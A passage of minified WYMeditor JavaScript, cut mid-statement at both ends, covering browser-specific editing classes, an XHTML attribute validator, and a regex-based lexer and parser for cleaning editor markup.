b._exec(WYMeditor.ITALIC),!1}return!0},WYMeditor.WymClassMozilla.prototype.keyup=function(a){var b=WYMeditor.INSTANCES[this.title],c,d;b._selected_image=null,c=null;if(a.keyCode!==WYMeditor.KEY.BACKSPACE&&a.keyCode!==WYMeditor.KEY.CTRL&&a.keyCode!==WYMeditor.KEY.DELETE&&a.keyCode!==WYMeditor.KEY.COMMAND&&a.keyCode!==WYMeditor.KEY.UP&&a.keyCode!==WYMeditor.KEY.DOWN&&a.keyCode!==WYMeditor.KEY.LEFT&&a.keyCode!==WYMeditor.KEY.RIGHT&&a.keyCode!==WYMeditor.KEY.ENTER&&!a.metaKey&&!a.ctrlKey){c=b.selected(),d=c.tagName.toLowerCase();if(d==="strong"||d==="b"||d==="em"||d==="i"||d==="sub"||d==="sup"||d==="a")d=c.parentNode.tagName.toLowerCase();d===WYMeditor.BODY&&(b._exec(WYMeditor.FORMAT_BLOCK,WYMeditor.P),b.fixBodyHtml())}(a.keyCode===WYMeditor.KEY.UP||a.keyCode===WYMeditor.KEY.DOWN||a.keyCode===WYMeditor.KEY.LEFT||a.keyCode===WYMeditor.KEY.RIGHT||a.keyCode===WYMeditor.KEY.BACKSPACE||a.keyCode===WYMeditor.KEY.ENTER)&&b.fixBodyHtml()},WYMeditor.WymClassMozilla.prototype.click=function(a){var b=WYMeditor.INSTANCES[this.title],c=b.selected(),d;WYMeditor.WymClassMozilla.NEEDS_CELL_FIX===!0&&c&&c.tagName.toLowerCase()===WYMeditor.TR&&jQuery(WYMeditor.TD,b._doc.body).append(WYMeditor.WymClassMozilla.CELL_PLACEHOLDER),c&&c.tagName.toLowerCase()===WYMeditor.BODY&&(d=b._iframe.contentWindow.getSelection(),d.isCollapsed===!0&&b._exec(WYMeditor.FORMAT_BLOCK,WYMeditor.P))},WYMeditor.WymClassMozilla.prototype.enableDesignMode=function(){if(this._doc.designMode==="off")try{this._doc.designMode="on",this._doc.execCommand("styleWithCSS","",!1),this._doc.execCommand("enableObjectResizing",!1,!0)}catch(a){}},WYMeditor.WymClassMozilla.prototype.openBlockTag=function(a,b){b=this.validator.getValidTagAttributes(a,b);if(a==="span"&&b.style){var c=this.getTagForStyle(b.style);c&&(a=c,this._tag_stack.pop(),this._tag_stack.push(a),b.style="")}this.output+=this.helper.tag(a,b,!0)},WYMeditor.WymClassMozilla.prototype.getTagForStyle=function(a){return/bold/.test(a)?"strong":/italic/.test(a)?"em":/sub/.test(a)?"sub":/super/.test(a)?"sup":!1},WYMeditor.WymClassMozilla.prototype.afterInsertTable=function(a){WYMeditor.WymClassMozilla.NEEDS_CELL_FIX===!0&&jQuery(a).find("td").each(function(a,b){jQuery(b).append(WYMeditor.WymClassMozilla.CELL_PLACEHOLDER)})},WYMeditor.WymClassOpera=function(a){this._wym=a,this._class="class"},WYMeditor.WymClassOpera.prototype.initIframe=function(iframe){this._iframe=iframe,this._doc=iframe.contentWindow.document;var styles=this._doc.styleSheets[0],aCss=eval(this._options.editorStyles);this.addCssRules(this._doc,aCss),this._doc.title=this._wym._index,jQuery("html",this._doc).attr("dir",this._options.direction),this._doc.designMode="on",this.html(this._wym._html),jQuery.isFunction(this._options.preBind)&&this._options.preBind(this),this._wym.bindEvents(),jQuery(this._doc).bind("keydown",this.keydown),jQuery(this._doc).bind("keyup",this.keyup),jQuery.isFunction(this._options.postInit)&&this._options.postInit(this),this.listen()},WYMeditor.WymClassOpera.prototype._exec=function(a,b){b?this._doc.execCommand(a,!1,b):this._doc.execCommand(a)},WYMeditor.WymClassOpera.prototype.selected=function(){var a=this._iframe.contentWindow.getSelection(),b=a.focusNode;return b?b.nodeName=="#text"?b.parentNode:b:null},WYMeditor.WymClassOpera.prototype.addCssRule=function(a,b){a.insertRule(b.name+" {"+b.css+"}",a.cssRules .length)},WYMeditor.WymClassOpera.prototype.keydown=function(a){var b=WYMeditor.INSTANCES[this.title],c=b._iframe.contentWindow.getSelection();startNode=c.getRangeAt(0).startContainer,!jQuery(startNode).parentsOrSelf(WYMeditor.MAIN_CONTAINERS.join(","))[0]&&!jQuery(startNode).parentsOrSelf("li")&&a.keyCode!=WYMeditor.KEY.ENTER&&a.keyCode!=WYMeditor.KEY.LEFT&&a.keyCode!=WYMeditor.KEY.UP&&a.keyCode!=WYMeditor.KEY.RIGHT&&a.keyCode!=WYMeditor.KEY.DOWN&&a.keyCode!=WYMeditor.KEY.BACKSPACE&&a.keyCode!=WYMeditor.KEY.DELETE&&b._exec(WYMeditor.FORMAT_BLOCK,WYMeditor.P)},WYMeditor.WymClassOpera.prototype.keyup=function(a){var b=WYMeditor.INSTANCES[this.title];b._selected_image=null},WYMeditor.WymClassSafari=function(a){this._wym=a,this._class="class"},WYMeditor.WymClassSafari.prototype.initIframe=function(iframe){var wym=this,styles,aCss;this._iframe=iframe,this._doc=iframe.contentDocument,styles=this._doc.styleSheets[0],aCss=eval(this._options.editorStyles),this.addCssRules(this._doc,aCss),this._doc.title=this._wym._index,jQuery("html",this._doc).attr("dir",this._options.direction),this._doc.designMode="on",this.html(this._wym._html),jQuery.isFunction(this._options.preBind)&&this._options.preBind(this),this._wym.bindEvents(),jQuery(this._doc).bind("keydown",this.keydown),jQuery(this._doc).bind("keyup",this.keyup),jQuery.isFunction(this._options.postInit)&&this._options.postInit(this),this.listen()},WYMeditor.WymClassSafari.prototype._exec=function(a,b){if(!this.selected())return!1;var c=this.selected(),d,e,f;if(a.toLowerCase()==WYMeditor.INSERT_HTML.toLowerCase()){d=jQuery(b);if(d.is("div")){f=d.get(0).attributes,this._doc.execCommand(WYMeditor.FORMAT_BLOCK,"",WYMeditor.DIV),e=this.selected();for(var g=0;g<f.length;g++)e.setAttribute(f[g].name,f[g].value);b=d.html()}}return b?this._doc.execCommand(a,"",b):this._doc.execCommand(a,"",null),e=this.selected(),e&&e.tagName.toLowerCase()===WYMeditor.BODY&&this._exec(WYMeditor.FORMAT_BLOCK,WYMeditor.P),!0},WYMeditor.WymClassSafari.prototype.addCssRule=function(a,b){a.insertRule(b.name+" {"+b.css+"}",a.cssRules.length)},WYMeditor.WymClassSafari.prototype.keydown=function(a){var b=WYMeditor.INSTANCES[this.title];a.ctrlKey?(a.keyCode===WYMeditor.KEY.B&&(b._exec(WYMeditor.BOLD),a.preventDefault()),a.keyCode===WYMeditor.KEY.I&&(b._exec(WYMeditor.ITALIC),a.preventDefault())):a.shiftKey&&a.keyCode===WYMeditor.KEY.ENTER&&(b._exec("InsertLineBreak"),a.preventDefault())},WYMeditor.WymClassSafari.prototype.keyup=function(a){var b=WYMeditor.INSTANCES[this.title],c,d;b._selected_image=null,jQuery.browser.version<534.1&&a.keyCode===WYMeditor.KEY.ENTER&&a.shiftKey&&b._exec("InsertLineBreak");if(a.keyCode!==WYMeditor.KEY.BACKSPACE&&a.keyCode!==WYMeditor.KEY.CTRL&&a.keyCode!==WYMeditor.KEY.DELETE&&a.keyCode!==WYMeditor.KEY.COMMAND&&a.keyCode!==WYMeditor.KEY.UP&&a.keyCode!==WYMeditor.KEY.DOWN&&a.keyCode!==WYMeditor.KEY.LEFT&&a.keyCode!==WYMeditor.KEY.RIGHT&&a.keyCode!==WYMeditor.KEY.ENTER&&!a.metaKey&&!a.ctrlKey){c=b.selected(),d=c.tagName.toLowerCase();if(d==="strong"||d==="b"||d==="em"||d==="i"||d==="sub"||d==="sup"||d==="a"||d==="span")d=c.parentNode.tagName.toLowerCase();d===WYMeditor.BODY&&(b._exec(WYMeditor.FORMAT_BLOCK,WYMeditor.P),b.fixBodyHtml())}(a.keyCode===WYMeditor.KEY.UP||a.keyCode===WYMeditor.KEY.DOWN||a.keyCode===WYMeditor.KEY.LEFT||a.keyCode===WYMeditor.KEY.RIGHT||a.keyCode===WYMeditor.KEY.BACKSPACE||a.keyCode===WYMeditor.KEY.ENTER)&&b.fixBodyHtml()},WYMeditor.WymClassSafari.prototype.openBlockTag=function(a,b){var c;b=this.validator.getValidTagAttributes(a,b),a==="span"&&b.style&&(c=this.getTagForStyle(b.style),c&&(a=c,this._tag_stack.pop(),this._tag_stack.push(a),b.style="",typeof b["class"]=="string"&&(b["class"]=b["class"].replace(/apple-style-span/gi,"")))),this.output+=this.helper.tag(a,b,!0)},WYMeditor.WymClassSafari.prototype.getTagForStyle=function(a){return/bold/.test(a)?"strong":/italic/.test(a)?"em":/sub/.test(a)?"sub":/super/.test(a)?"sup":!1},WYMeditor.XmlHelper=function(){return this._entitiesDiv=document.createElement("div"),this},WYMeditor.XmlHelper.prototype.tag=function(a,b,c){return b=b||!1,c=c||!1,"<"+a+(b?this.tagOptions(b):"")+(c?">":" />")},WYMeditor.XmlHelper.prototype.contentTag=function(a,b,c){return c=c||!1,"<"+a+(c?this.tagOptions(c):"")+">"+b+"</"+a+">"},WYMeditor.XmlHelper.prototype.cdataSection=function(a){return"<![CDATA["+a+"]]>"},WYMeditor.XmlHelper.prototype.escapeOnce=function(a){return this._fixDoubleEscape(this.escapeEntities(a))},WYMeditor.XmlHelper.prototype._fixDoubleEscape=function(a){return a.replace(/&amp;([a-z]+|(#\d+));/ig,"&$1;")},WYMeditor.XmlHelper.prototype.tagOptions=function(a){var b=this;b._formated_options="";for(var c in a){var d="",e=a[c];typeof e!="function"&&e.length>0&&(parseInt(c,10)==c&&typeof e=="object"&&(c=e.shift(),e=e.pop()),c!==""&&e!==""&&(b._formated_options+=" "+c+'="'+b.escapeOnce(e)+'"'))}return b._formated_options},WYMeditor.XmlHelper.prototype.escapeEntities=function(a,b){this._entitiesDiv.innerHTML=a,this._entitiesDiv.textContent=a;var c=this._entitiesDiv.innerHTML;return typeof b=="undefined"&&(b!==!1&&(c=c.replace('"',"&quot;")),b===!0&&(c=c.replace('"',"&#039;"))),c},WYMeditor.XmlHelper.prototype.parseAttributes=function(a){var b=[],c=a.split(/((=\s*")(")("))|((=\s*\')(\')(\'))|((=\s*[^>\s]*))/g);if(c.toString()!=a)for(var d in c){var e=c[d];if(typeof e!="function"&&e.length!==0){var f=new RegExp("(\\w+)\\s*"+e),g=a.match(f);if(g){var h=e.replace(/^[\s=]+/,""),i=h.charAt(0);i=i=='"'?'"':i=="'"?"'":"",i!==""&&(h=i=='"'?h.replace(/^"|"+$/g,""):h.replace(/^'|'+$/g,"")),a=a.replace(g[0],""),b.push([g[1],h])}}}return b},WYMeditor.XhtmlValidator={_attributes:{core:{except:["base","head","html","meta","param","script","style","title"],attributes:["class","id","style","title","accesskey","tabindex","/^data-.*/"]},language:{except:["base","br","hr","iframe","param","script"],attributes:{dir:["ltr","rtl"],0:"lang",1:"xml:lang"}},keyboard:{attributes:{accesskey:/^(\w){1}$/,tabindex:/^(\d)+$/}}},_events:{window:{only:["body"],attributes:["onload","onunload"]},form:{only:["form","input","textarea","select","a","label","button"],attributes:["onchange","onsubmit","onreset","onselect","onblur","onfocus"]},keyboard:{except:["base","bdo","br","frame","frameset","head","html","iframe","meta","param","script","style","title"],attributes:["onkeydown","onkeypress","onkeyup"]},mouse:{except:["base","bdo","br","head","html","meta","param","script","style","title"],attributes:["onclick","ondblclick","onmousedown","onmousemove","onmouseover","onmouseout","onmouseup"]}},_tags:{a:{attributes:{0:"charset",1:"coords",2:"href",3:"hreflang",4:"name",5:"rel",6:"rev",shape:/^(rect|rectangle|circ|circle|poly|polygon)$/,7:"type"}},0:"abbr",1:"acronym",2:"address",area:{attributes:{0:"alt",1:"coords",2:"href",nohref:/^(true|false)$/,shape:/^(rect|rectangle|circ|circle|poly|polygon)$/},required:["alt"]},3:"b",base:{attributes:["href"],required:["href"]},bdo:{attributes:{dir:/^(ltr|rtl)$/},required:["dir"]},4:"big",blockquote:{attributes:["cite"]},5:"body",6:"br",button:{attributes:{disabled:/^(disabled)$/,type:/^(button|reset|submit)$/,0:"value"},inside:"form"},7:"caption",8:"cite",9:"code",col:{attributes:{align:/^(right|left|center|justify)$/,0:"char",1:"charoff",span:/^(\d)+$/,valign:/^(top|middle|bottom|baseline)$/,2:"width"},inside:"colgroup"},colgroup:{attributes:{align:/^(right|left|center|justify)$/,0:"char",1:"charoff",span:/^(\d)+$/,valign:/^(top|middle|bottom|baseline)$/,2:"width"}},10:"dd",del:{attributes:{0:"cite",datetime:/^([0-9]){8}/}},11:"div",12:"dfn",13:"dl",14:"dt",15:"em",fieldset:{inside:"form"},form:{attributes:{0:"action",1:"accept",2:"accept-charset",3:"enctype",method:/^(get|post)$/},required:["action"]},head:{attributes:["profile"]},16:"h1",17:"h2",18:"h3",19:"h4",20:"h5",21:"h6",22:"hr",html:{attributes:["xmlns"]},23:"i",img:{attributes:["alt","src","height","ismap","longdesc","usemap","width"],required:["alt","src"]},input:{attributes:{0:"accept",1:"alt",checked:/^(checked)$/,disabled:/^(disabled)$/,maxlength:/^(\d)+$/,2:"name",readonly:/^(readonly)$/,size:/^(\d)+$/,3:"src",type:/^(button|checkbox|file|hidden|image|password|radio|reset|submit|text)$/,4:"value"},inside:"form"},ins:{attributes:{0:"cite",datetime:/^([0-9]){8}/}},24:"kbd",label:{attributes:["for"],inside:"form"},25:"legend",26:"li",link:{attributes:{0:"charset",1:"href",2:"hreflang",media:/^(all|braille|print|projection|screen|speech|,|;| )+$/i,rel:/^(alternate|appendix|bookmark|chapter|contents|copyright|glossary|help|home|index|next|prev|section|start|stylesheet|subsection| |shortcut|icon)+$/i,rev:/^(alternate|appendix|bookmark|chapter|contents|copyright|glossary|help|home|index|next|prev|section|start|stylesheet|subsection| |shortcut|icon)+$/i,3:"type"},inside:"head"},map:{attributes:["id","name"],required:["id"]},meta:{attributes:{0:"content","http-equiv":/^(content\-type|expires|refresh|set\-cookie)$/i,1:"name",2:"scheme"},required:["content"]},27:"noscript",object:{attributes:["archive","classid","codebase","codetype","data","declare","height","name","standby","type","usemap","width"]},28:"ol",optgroup:{attributes:{0:"label",disabled:/^(disabled)$/},required:["label"]},option:{attributes:{0:"label",disabled:/^(disabled)$/,selected:/^(selected)$/,1:"value"},inside:"select"},29:"p",param:{attributes:{0:"type",valuetype:/^(data|ref|object)$/,1:"valuetype",2:"value"},required:["name"]},30:"pre",q:{attributes:["cite"]},31:"samp",script:{attributes:{type:/^(text\/ecmascript|text\/javascript|text\/jscript|text\/vbscript|text\/vbs|text\/xml)$/,0:"charset",defer:/^(defer)$/,1:"src"},required:["type"]},select:{attributes:{disabled:/^(disabled)$/,multiple:/^(multiple)$/,0:"name",1:"size"},inside:"form"},32:"small",33:"span",34:"strong",style:{attributes:{0:"type",media:/^(screen|tty|tv|projection|handheld|print|braille|aural|all)$/},required:["type"]},35:"sub",36:"sup",table:{attributes:{0:"border",1:"cellpadding",2:"cellspacing",frame:/^(void|above|below|hsides|lhs|rhs|vsides|box|border)$/,rules:/^(none|groups|rows|cols|all)$/,3:"summary",4:"width"}},tbody:{attributes:{align:/^(right|left|center|justify)$/,0:"char",1:"charoff",valign:/^(top|middle|bottom|baseline)$/}},td:{attributes:{0:"abbr",align:/^(left|right|center|justify|char)$/,1:"axis",2:"char",3:"charoff",colspan:/^(\d)+$/,4:"headers",rowspan:/^(\d)+$/,scope:/^(col|colgroup|row|rowgroup)$/,valign:/^(top|middle|bottom|baseline)$/}},textarea:{attributes:["cols","rows","disabled","name","readonly"],required:["cols","rows"],inside:"form"},tfoot:{attributes:{align:/^(right|left|center|justify)$/,0:"char",1:"charoff",valign:/^(top|middle|bottom)$/,2:"baseline"}},th:{attributes:{0:"abbr",align:/^(left|right|center|justify|char)$/,1:"axis",2:"char",3:"charoff",colspan:/^(\d)+$/,4:"headers",rowspan:/^(\d)+$/,scope:/^(col|colgroup|row|rowgroup)$/,valign:/^(top|middle|bottom|baseline)$/}},thead:{attributes:{align:/^(right|left|center|justify)$/,0:"char",1:"charoff",valign:/^(top|middle|bottom|baseline)$/}},37:"title",tr:{attributes:{align:/^(right|left|center|justify|char)$/,0:"char",1:"charoff",valign:/^(top|middle|bottom|baseline)$/}},38:"tt",39:"ul",40:"var"},skiped_attributes:[],skiped_attribute_values:[],getValidTagAttributes:function(a,b){var c={},d=this.getPossibleTagAttributes(a);for(var e in b){var f=b[e];e=e.toLowerCase();var g=WYMeditor.Helper;!g.contains(this.skiped_attributes,e)&&!g.contains(this.skiped_attribute_values,f)&&(typeof f!="function"&&g.contains(d,e)?this.doesAttributeNeedsValidation(a,e)?this.validateAttribute(a,e,f)&&(c[e]=f):c[e]=f:jQuery.each(d,function(){this.match(/\/(.*)\//)&&(regex=new RegExp(this.match(/\/(.*)\//)[1]),regex.test(e)&&(c[e]=f))}))}return c},getUniqueAttributesAndEventsForTag:function(a){var b=[];if(this._tags[a]&&this._tags[a].attributes)for(var c in this._tags[a].attributes)b.push(parseInt(c,10)==c?this._tags[a].attributes[c]:c);return b},getDefaultAttributesAndEventsForTags:function(){var a=[];for(var b in this._events)a.push(this._events[b]);for(b in this._attributes)a.push(this._attributes[b]);return a},isValidTag:function(a){if(this._tags[a])return!0;for(var b in this._tags)if(this._tags[b]==a)return!0;return!1},getDefaultAttributesAndEventsForTag:function(a){var b=[];if(this.isValidTag(a)){var c=this.getDefaultAttributesAndEventsForTags();for(var d in c){var e=c[d];if(typeof e=="object"){var f=WYMeditor.Helper;if(e.except&&f.contains(e.except,a)||e.only&&!f.contains(e.only,a))continue;var g=e.attributes?e.attributes:e.events;for(var h in g)b.push(typeof g[h]!="string"?h:g[h])}}}return b},doesAttributeNeedsValidation:function(a,b){return this._tags[a]&&(this._tags[a].attributes&&this._tags[a].attributes[b]||this._tags[a].required&&WYMeditor.Helper.contains(this._tags[a].required,b))},validateAttribute:function(a,b,c){return this._tags[a]&&this._tags[a].attributes&&this._tags[a].attributes[b]&&c.length>0&&!c.match(this._tags[a].attributes[b])||this._tags[a]&&this._tags[a].required&&WYMeditor.Helper.contains(this._tags[a].required,b)&&c.length===0?!1:typeof this._tags[a]!="undefined"},getPossibleTagAttributes:function(a){return this._possible_tag_attributes||(this._possible_tag_attributes={}),this._possible_tag_attributes[a]||(this._possible_tag_attributes[a]=this.getUniqueAttributesAndEventsForTag(a).concat(this.getDefaultAttributesAndEventsForTag(a))),this._possible_tag_attributes[a]}},WYMeditor.ParallelRegex=function(a){return this._case=a,this._patterns=[],this._labels=[],this._regex=null,this},WYMeditor.ParallelRegex.prototype.addPattern=function(a,b){b=b||!0;var c=this._patterns.length;this._patterns[c]=a,this._labels[c]=b,this._regex=null},WYMeditor.ParallelRegex.prototype.match=function(a){if(this._patterns.length===0)return[!1,""];var b=a.match(this._getCompoundedRegex());if(!b)return[!1,""];var c=b[0];for(var d=1;d<b.length;d++)if(b[d])return[this._labels[d-1],c];return[!0,b[0]]},WYMeditor.ParallelRegex.prototype._getCompoundedRegex=function(){if(this._regex===null){for(var a=0,b=this._patterns.length;a<b;a++)this._patterns[a]="("+this._untokenizeRegex(this._tokenizeRegex(this._patterns[a]).replace(/([\/\(\)])/g,"\\$1"))+")";this._regex=new RegExp(this._patterns.join("|"),this._getPerlMatchingFlags())}return this._regex},WYMeditor.ParallelRegex.prototype._tokenizeRegex=function(a){return a.replace(/\(\?(i|m|s|x|U)\)/,"~~~~~~Tk1$1~~~~~~").replace(/\(\?(\-[i|m|s|x|U])\)/,"~~~~~~Tk2$1~~~~~~").replace(/\(\?\=(.*)\)/,"~~~~~~Tk3$1~~~~~~").replace(/\(\?\!(.*)\)/,"~~~~~~Tk4$1~~~~~~").replace(/\(\?\<\=(.*)\)/,"~~~~~~Tk5$1~~~~~~").replace(/\(\?\<\!(.*)\)/,"~~~~~~Tk6$1~~~~~~").replace(/\(\?\:(.*)\)/,"~~~~~~Tk7$1~~~~~~")},WYMeditor.ParallelRegex.prototype._untokenizeRegex=function(a){return a.replace(/~~~~~~Tk1(.{1})~~~~~~/,"(?$1)").replace(/~~~~~~Tk2(.{2})~~~~~~/,"(?$1)").replace(/~~~~~~Tk3(.*)~~~~~~/,"(?=$1)").replace(/~~~~~~Tk4(.*)~~~~~~/,"(?!$1)").replace(/~~~~~~Tk5(.*)~~~~~~/,"(?<=$1)").replace(/~~~~~~Tk6(.*)~~~~~~/,"(?<!$1)").replace(/~~~~~~Tk7(.*)~~~~~~/,"(?:$1)")},WYMeditor.ParallelRegex.prototype._getPerlMatchingFlags=function(){return this._case?"m":"mi"},WYMeditor.StateStack=function(a){return this._stack=[a],this},WYMeditor.StateStack.prototype.getCurrent=function(){return this._stack[this._stack.length-1]},WYMeditor.StateStack.prototype.enter=function(a){this._stack.push(a)},WYMeditor.StateStack.prototype.leave=function(){return this._stack.length==1?!1:(this._stack.pop(),!0)},WYMeditor.LEXER_ENTER=1,WYMeditor.LEXER_MATCHED=2,WYMeditor.LEXER_UNMATCHED=3,WYMeditor.LEXER_EXIT=4,WYMeditor.LEXER_SPECIAL=5,WYMeditor.Lexer=function(a,b,c){return b=b||"accept",this._case=c||!1,this._regexes={},this._parser=a,this._mode=new WYMeditor.StateStack(b),this._mode_handlers={},this._mode_handlers[b]=b,this},WYMeditor.Lexer.prototype.addPattern=function(a,b){b=b||"accept",typeof this._regexes[b]=="undefined"&&(this._regexes[b]=new WYMeditor.ParallelRegex(this._case)),this._regexes[b].addPattern(a),typeof this._mode_handlers[b]=="undefined"&&(this._mode_handlers[b]=b)},WYMeditor.Lexer.prototype.addEntryPattern=function(a,b,c){typeof this._regexes[b]=="undefined"&&(this._regexes[b]=new WYMeditor.ParallelRegex(this._case)),this._regexes[b].addPattern(a,c),typeof this._mode_handlers[c]=="undefined"&&(this._mode_handlers[c]=c)},WYMeditor.Lexer.prototype.addExitPattern=function(a,b){typeof this._regexes[b]=="undefined"&&(this._regexes[b]=new WYMeditor.ParallelRegex(this._case)),this._regexes[b].addPattern(a,"__exit"),typeof this._mode_handlers[b]=="undefined"&&(this._mode_handlers[b]=b)},WYMeditor.Lexer.prototype.addSpecialPattern=function(a,b,c){typeof this._regexes[b]=="undefined"&&(this._regexes[b]=new WYMeditor.ParallelRegex(this._case)),this._regexes[b].addPattern(a,"_"+c),typeof this._mode_handlers[c]=="undefined"&&(this._mode_handlers[c]=c)},WYMeditor.Lexer.prototype.mapHandler=function(a,b){this._mode_handlers[a]=b},WYMeditor.Lexer.prototype.parse=function(a){if(typeof this._parser=="undefined")return!1;var b=a.length,c;while(typeof (c=this._reduce(a))=="object"){a=c[0];var d=c[1],e=c[2],f=c[3];if(!this._dispatchTokens(d,e,f))return!1;if(a==="")return!0;if(a.length==b)return!1;b=a.length}return c?this._invokeParser(a,WYMeditor.LEXER_UNMATCHED):!1},WYMeditor.Lexer.prototype._dispatchTokens=function(a,b,c){return c=c||!1,this._invokeParser(a,WYMeditor.LEXER_UNMATCHED)?typeof c=="boolean"?this._invokeParser(b,WYMeditor.LEXER_MATCHED):this._isModeEnd(c)?this._invokeParser(b,WYMeditor.LEXER_EXIT)?this._mode.leave():!1:this._isSpecialMode(c)?(this._mode.enter(this._decodeSpecial(c)),this._invokeParser(b,WYMeditor.LEXER_SPECIAL)?this._mode.leave():!1):(this._mode.enter(c),this._invokeParser(b,WYMeditor.LEXER_ENTER)):!1},WYMeditor.Lexer.prototype._isModeEnd=function(a){return a==="__exit"},WYMeditor.Lexer.prototype._isSpecialMode=function(a){return a.substring(0,1)=="_"},WYMeditor.Lexer.prototype._decodeSpecial=function(a){return a.substring(1)},WYMeditor.Lexer.prototype._invokeParser=function(a,b){if(a==="")return!0;var c=this._mode.getCurrent(),d=this._mode_handlers[c],e=this._parser[d](a,b);return e},WYMeditor.Lexer.prototype._reduce=function(a){var b=this._regexes[this._mode.getCurrent()].match(a),c=b[1],d=b[0];if(d){var e=a.indexOf(c),f=a.substr(0,e);return a=a.substring(e+c.length),[a,f,c,d]}return!0},WYMeditor.XhtmlLexer=function(a){return jQuery.extend(this,new WYMeditor.Lexer(a,"Text")),this.mapHandler("Text","Text"),this.addTokens(),this.init(),this},WYMeditor.XhtmlLexer.prototype.init=function(){},WYMeditor.XhtmlLexer.prototype.addTokens=function(){this.addCommentTokens("Text"),this.addScriptTokens("Text"),this.addCssTokens("Text"),this.addTagTokens("Text")},WYMeditor.XhtmlLexer.prototype.addCommentTokens=function(a){this.addEntryPattern("<!--",a,"Comment"),this.addExitPattern("-->","Comment")},WYMeditor.XhtmlLexer.prototype.addScriptTokens=function(a){this.addEntryPattern("<script",a,"Script"),this.addExitPattern("</script>","Script")},WYMeditor.XhtmlLexer.prototype.addCssTokens=function(a){this.addEntryPattern("<style",a,"Css"),this.addExitPattern("</style>","Css")},WYMeditor.XhtmlLexer.prototype.addTagTokens=function(a){this.addSpecialPattern("<\\s*[a-z0-9:-]+\\s*>",a,"OpeningTag"),this.addEntryPattern("<[a-z0-9:-]+[\\/ \\>]+",a,"OpeningTag"),this.addInTagDeclarationTokens("OpeningTag"),this.addSpecialPattern("</\\s*[a-z0-9:-]+\\s*>",a,"ClosingTag")},WYMeditor.XhtmlLexer.prototype.addInTagDeclarationTokens=function(a){this.addSpecialPattern("\\s+",a,"Ignore"),this.addAttributeTokens(a),this.addExitPattern("/>",a),this.addExitPattern(">",a)},WYMeditor.XhtmlLexer.prototype.addAttributeTokens=function(a){this.addSpecialPattern("\\s*[a-z-_0-9]*:?[a-z-_0-9]+\\s*(?==)\\s*",a,"TagAttributes"),this.addEntryPattern('=\\s*"',a,"DoubleQuotedAttribute"),this.addPattern('\\\\"',"DoubleQuotedAttribute"),this.addExitPattern('"',"DoubleQuotedAttribute"),this.addEntryPattern("=\\s*'",a,"SingleQuotedAttribute"),this.addPattern("\\\\'","SingleQuotedAttribute"),this.addExitPattern("'","SingleQuotedAttribute"),this.addSpecialPattern("=\\s*[^>\\s]*",a,"UnquotedAttribute")},WYMeditor.XhtmlParser=function(a,b){return b=b||"Text",this._Lexer=new WYMeditor.XhtmlLexer(this),this._Listener=a,this._mode=b,this._matches=[],this._last_match="",this._current_match="",this},WYMeditor.XhtmlParser.prototype.parse=function(a){return this._Lexer.parse(this.beforeParsing(a)),this.afterParsing(this._Listener.getResult())},WYMeditor.XhtmlParser.prototype.beforeParsing=function(a){return(a.match(/class="MsoNormal"/)||a.match(/ns = "urn:schemas-microsoft-com/))&&this._Listener.avoidStylingTagsAndAttributes(),this._Listener.beforeParsing(a)},WYMeditor.XhtmlParser.prototype.afterParsing=function(a){return this._Listener._avoiding_tags_implicitly&&this._Listener.allowStylingTagsAndAttributes(),this._Listener.afterParsing(a)},WYMeditor.XhtmlParser.prototype.Ignore=function(a,b){return!0},WYMeditor.XhtmlParser.prototype.Text=function(a){return this._Listener.addContent(a),!0},WYMeditor.XhtmlParser.prototype.Comment=function(a,b){return this._addNonTagBlock(a,b,"addComment")},WYMeditor.XhtmlParser.prototype.Script=function(a,b){return this._addNonTagBlock(a,b,"addScript")},WYMeditor.XhtmlParser.prototype.Css=function(a,b){return this._addNonTagBlock(a,b,"addCss")},WYMeditor.XhtmlParser.prototype._addNonTagBlock=function(a,b,c){switch(b){case WYMeditor.LEXER_ENTER:this._non_tag=a;break;case WYMeditor.LEXER_UNMATCHED:this._non_tag+=a;break;case WYMeditor.LEXER_EXIT:switch(c){case"addComment":this._Listener.addComment(this._non_tag+a);break;case"addScript":this._Listener.addScript(this._non_tag+a);break;case"addCss":this._Listener.addCss(this._non_tag+a);break;default:}break;default:}return!0},WYMeditor.XhtmlParser.prototype.OpeningTag=function(a,b){switch(b){case WYMeditor.LEXER_ENTER:this._tag=this.normalizeTag(a),this._tag_attributes={};break;case WYMeditor.LEXER_SPECIAL:this._callOpenTagListener(this.normalizeTag(a));break;case WYMeditor.LEXER_EXIT:this._callOpenTagListener(this._tag,this._tag_attributes);break;default:}return!0},WYMeditor.XhtmlParser.prototype.ClosingTag=function(a,b){return this._callCloseTagListener(this.normalizeTag(a)),!0},WYMeditor.XhtmlParser.prototype._callOpenTagListener=function(a,b){b=b||{},this.autoCloseUnclosedBeforeNewOpening(a),this._Listener.isBlockTag(a)?(this._Listener._tag_stack.push(a),this._Listener.fixNestingBeforeOpeningBlockTag(a,b),this._Listener.openBlockTag(a,b),this._increaseOpenTagCounter(a)):this._Listener.isInlineTag(a)?this._Listener.inlineTag(a,b):(this._Listener.openUnknownTag(a,b),this._increaseOpenTagCounter(a)),this._Listener.last_tag=a,this._Listener.last_tag_opened=!0,this._Listener.last_tag_attributes=b},WYMeditor.XhtmlParser.prototype._callCloseTagListener=function(a){if(this._decreaseOpenTagCounter(a)){this.autoCloseUnclosedBeforeTagClosing(a);if(this._Listener.isBlockTag(a)){var b=this._Listener._tag_stack.pop();if(b===!1)return;b!=a&&(a=b),this._Listener.closeBlockTag(a)}else this._Listener.closeUnknownTag(a)}else this._Listener.closeUnopenedTag(a);this._Listener.last_tag=a,this._Listener.last_tag_opened=!1},WYMeditor.XhtmlParser.prototype._increaseOpenTagCounter=function(a){this._Listener._open_tags[a]=this._Listener._open_tags[a]||0,this._Listener._open_tags[a]++},WYMeditor.XhtmlParser.prototype._decreaseOpenTagCounter=function(a){return this._Listener._open_tags[a]?(this._Listener._open_tags[a]--,this._Listener._open_tags[a]===0&&(this._Listener._open_tags[a]=undefined),!0):!1},WYMeditor.XhtmlParser.prototype.autoCloseUnclosedBeforeNewOpening=function(a){this._autoCloseUnclosed(a,!1)},WYMeditor.XhtmlParser.prototype.autoCloseUnclosedBeforeTagClosing=function(a){this._autoCloseUnclosed(a,!0)},WYMeditor.XhtmlParser.prototype._autoCloseUnclosed=function(a,b){b=b||!1;if(this._Listener._open_tags)for(var c in this._Listener._open_tags){var d=this._Listener._open_tags[c];d>0&&this._Listener.shouldCloseTagAutomatically(c,a,b)&&this._callCloseTagListener(c,!0)}},WYMeditor.XhtmlParser.prototype.getTagReplacements=function(){return 